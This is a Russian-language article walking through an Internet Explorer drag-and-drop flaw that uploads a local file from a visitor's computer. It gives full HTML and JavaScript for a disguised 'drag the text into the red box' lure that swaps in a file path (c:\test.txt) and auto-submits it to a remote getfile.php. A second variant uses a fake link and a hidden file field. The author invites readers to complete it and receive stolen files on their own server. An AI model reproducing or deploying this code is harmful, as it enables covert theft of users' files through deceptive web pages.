Помнится, когда-то очень давно, я описывал способ кражи файла с клиентского компьютера используя уязвимость в Internet Explorer. Прошел почти год и я случайно наткнулся на похожую уязвимость и решил продолжить старую тему.
Примерно в начале марта, зайдя на Secure
Point, я увидел достаточно интересное сообщение. Некий
jelmer рассказывал о уязвимости, позволяющей с помощью события "drag and drop" в Internet
Explorer отослать на сервер произвольный файл с клиентской машины.
Вообще-то, это не совсем так. Для отсылки файла используется HTML тег:
<INPUT TYPE="FILE">
Это в броузере отображается, как поле ввода для текста с кнопкой обзор. Именно этот текст и указывает на отправляемый файл. Вся проблема, в том, что имя файла нельзя указать
программно (естественным способом). Поскольку с помощью JavaScript формы можно отправлять на сервер автоматически, остается только найти способ изменения имени отправляемого файла. О чем, собственно, и идет речь.
Начиная с Internet Explorer 5.5, корпорация Microsoft включила в броузер Internet Explorer поддержку обработки события "drag and drop". Она была реализована в качестве дополнительных параметров к уже существующим HTML тегам. В
частности, это обработчики:
onDrag
onDragStart
onDragEnd
За более детальной информацией обращайтесь на:
- Web
Reference
- MSDN
С помощью определенной последовательности в их реализации и использовании, появляется возможность подмены имени отправляемого файла. Давайте посмотрим на пример, и изучим его структуру
Это заголовок формы, отправляющей файл:
<FORM id=malForm method=post encType=multipart/form-data>
Поле ввода, без границ, в координатах (80,100) содержит текст, смотрится как обычный текст, красного цвета:
<INPUT id=dragquIEn0
style="BORDER-RIGHT : 0px;
BORDER-TOP : 0px;
LEFT : 80px;
BORDER-LEFT : 0px;
COLOR : red;
BORDER-BOTTOM: 0px;
POSITION : absolute;
TOP : 100px;
"
size = 50
value = "Select me and drag me into a red box..."
>
Далее идет тоже самое, только с обработчиками событий "drag and drop":
<INPUT id=dragquIEn
onDrag = dragquIEnDrag()
onDragStart = dragquIEnStart()
onDragEnd = dragquIEnEnd()
style="BORDER-RIGHT : 0px;
BORDER-TOP : 0px;
LEFT : 80px;
BORDER-LEFT : 0px;
COLOR : red;
BORDER-BOTTOM: 0px;
POSITION : absolute;
TOP : 100px;
"
size=50
value="Select me and drag me into a red box..."
>
Это создание слоя...
<DIV
style="Z-INDEX : 100;
LEFT : 20px;
WIDTH : 20px;
CLIP : rect(0px 50px 50px 0px);
POSITION : absolute;
TOP : 100px;
"
>
В него помещается элемент отправки файла,
причем так, что кнопка "Обзор..." не влезает в область отображения и поэтому остается невидимой. Более того, края поля ввода делаются невидимыми, а цвет ВСЕГО устанавливается в красный:
<INPUT
style="BORDER-RIGHT : 0px;
BORDER-TOP : 0px;
BORDER-LEFT : 0px;
COLOR : red;
BORDER-BOTTOM : 0px;
BACKGROUND-COLOR: red;
"
type=file
name=upload
>
Поскольку поле отправки файла (красного цвета) помещено в квадрат 50х50, то пользователь видит это как красный квадрат.
Далее закрываем слой и форму:
</DIV>
</FORM>
В результате мы имеем красный текст, с рядом стоящим красным квадратом. Назовем это игрой "Перетяни текст в квадрат" 🙂 Если пользователь перетянул текст в квадрат, то он будет помещен в качестве значения закачиваемого(на сервер) файла. А если текст подменить? А если все сделать красиво, и незаметно? Именно для этих целей создавались два текста перекрывающих друг друга. И так, схема:
- пользователь выделяет текст
- начинает его тянуть и мы заменяем значение "Select me and drag me into a red box..." на имя нужного нам файла.
- он его тянет, и мы делаем текст невидимым, поскольку там уже имя файла. А всего мы имеем два идентичных текста, значит один остается на месте, чтобы не вызывать подозрения.
- если текст перетянули в квадрат, отправляем форму.
Все это легко реализуется используя описанные
выше обработчики событий. Для этого вставьте
перед формой небольшой скрипт:
<SCRIPT>
//имя нужного нам файла
strFileName='file://c:\\test.txt';
//подмена перетягиваемого текста
function dragquIEnStart() {
malForm.dragquIEn.value=strFileName;
}
//прячем измененный текст
function dragquIEnDrag() {
malForm.dragquIEn.style.visibility='hidden';
}
//если текст перетянули...
function dragquIEnEnd() {
malForm.dragquIEn0.focus();
//файл отправлять на скрипт:
malForm.action='http://www.server.com/getfile.php';
//отправить:
malForm.submit();
}
</SCRIPT>
Готовый вариант можно посмотреть по адресу http://www.sztolnia.pl/hack/dragquIEn/dragquIEn.html.
Теперь, когда суть ясна, изучите следующий пример. Он более прост и красив, но совершенно не подходит для пояснения проблемы и ее понимания:
<SCRIPT>
function handleOnmousedown() {
//"потрясти" все,
передвинуть поле ввода
top.moveBy(1,0)
document.all.target.style.left = 10;
window.setTimeout("top.moveBy(-1,0)", 5);
document.all.source.dragDrop();
}
function handleDragstart() {
//если текст перетягивается, заменить его на имя файла
window.event.dataTransfer.setData("text", "c:\\jelmer.txt")
}
</SCRIPT>
<!-- Создание стиля напоминающего ссылку -->
<!-- Создание стиля для поля отправки файла, далеко влево 🙂 -->
<STYLE>
.fakelink {
CURSOR : hand;
COLOR : blue;
TEXT-DECORATION : underline
}
#target {
Z-INDEX : 1;
LEFT : -300px;
POSITION : absolute
}
</STYLE>
<!-- Фальшивая ссылка-->
<SPAN class=fakelink
id=source
onmousedown=handleOnmousedown()
ondragstart=handleDragstart()
>
Click me
</SPAN>
<!-- Поле для имени файла -->
<INPUT id=target type=file>
Он недоработан, поскольку не делает отправку, но все в ваших руках. Да, чтобы использовать это вам следует принимать на сервере файлы...
Учите Perl, PHP 🙂